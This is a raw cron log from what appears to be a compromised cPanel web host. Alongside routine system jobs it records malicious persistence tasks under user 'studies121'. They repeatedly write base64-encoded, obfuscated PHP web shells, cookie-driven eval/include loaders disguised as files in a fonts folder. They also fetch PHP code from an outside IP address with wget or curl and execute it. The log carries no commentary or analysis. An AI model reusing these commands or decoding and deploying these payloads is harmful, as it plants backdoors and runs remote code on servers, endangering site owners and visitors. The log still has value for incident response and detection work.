Sep 10 22:30:02 ip-184-168-122-23 CROND[20353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:30:02 ip-184-168-122-23 CROND[20355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:31:01 ip-184-168-122-23 CROND[20477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:31:01 ip-184-168-122-23 CROND[20479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:31:01 ip-184-168-122-23 CROND[20478]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:31:01 ip-184-168-122-23 CROND[20482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:31:01 ip-184-168-122-23 CROND[20481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:32:01 ip-184-168-122-23 CROND[20574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:32:01 ip-184-168-122-23 CROND[20576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:32:01 ip-184-168-122-23 CROND[20578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:32:01 ip-184-168-122-23 CROND[20581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:32:01 ip-184-168-122-23 CROND[20580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:33:01 ip-184-168-122-23 CROND[20670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:33:01 ip-184-168-122-23 CROND[20672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:33:01 ip-184-168-122-23 CROND[20674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:33:01 ip-184-168-122-23 CROND[20673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:34:01 ip-184-168-122-23 CROND[20843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:34:01 ip-184-168-122-23 CROND[20844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:34:01 ip-184-168-122-23 CROND[20847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:34:01 ip-184-168-122-23 CROND[20846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:34:01 ip-184-168-122-23 CROND[20845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:35:01 ip-184-168-122-23 CROND[20948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:35:01 ip-184-168-122-23 CROND[20951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:35:01 ip-184-168-122-23 CROND[20953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:35:01 ip-184-168-122-23 CROND[20950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:35:01 ip-184-168-122-23 CROND[20952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:35:01 ip-184-168-122-23 CROND[20954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:35:01 ip-184-168-122-23 CROND[20955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:35:01 ip-184-168-122-23 CROND[20961]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 22:36:01 ip-184-168-122-23 CROND[21056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:36:01 ip-184-168-122-23 CROND[21059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:36:01 ip-184-168-122-23 CROND[21060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:36:01 ip-184-168-122-23 CROND[21058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:36:01 ip-184-168-122-23 CROND[21061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:37:01 ip-184-168-122-23 CROND[21159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:37:01 ip-184-168-122-23 CROND[21162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:37:01 ip-184-168-122-23 CROND[21161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:37:01 ip-184-168-122-23 CROND[21164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:38:01 ip-184-168-122-23 CROND[21253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:38:01 ip-184-168-122-23 CROND[21257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:38:01 ip-184-168-122-23 CROND[21255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:38:01 ip-184-168-122-23 CROND[21258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:38:01 ip-184-168-122-23 CROND[21256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:39:01 ip-184-168-122-23 CROND[21350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:39:01 ip-184-168-122-23 CROND[21354]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 22:39:01 ip-184-168-122-23 CROND[21353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:39:01 ip-184-168-122-23 CROND[21356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:39:01 ip-184-168-122-23 CROND[21355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:40:01 ip-184-168-122-23 CROND[21539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:40:01 ip-184-168-122-23 CROND[21540]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:40:01 ip-184-168-122-23 CROND[21541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:40:01 ip-184-168-122-23 CROND[21542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:40:01 ip-184-168-122-23 CROND[21544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:40:01 ip-184-168-122-23 CROND[21546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:40:01 ip-184-168-122-23 CROND[21549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:40:01 ip-184-168-122-23 CROND[21543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:41:01 ip-184-168-122-23 CROND[21647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:41:01 ip-184-168-122-23 CROND[21648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:41:01 ip-184-168-122-23 CROND[21649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:41:01 ip-184-168-122-23 CROND[21650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:42:01 ip-184-168-122-23 CROND[21754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:42:01 ip-184-168-122-23 CROND[21757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:42:01 ip-184-168-122-23 CROND[21758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
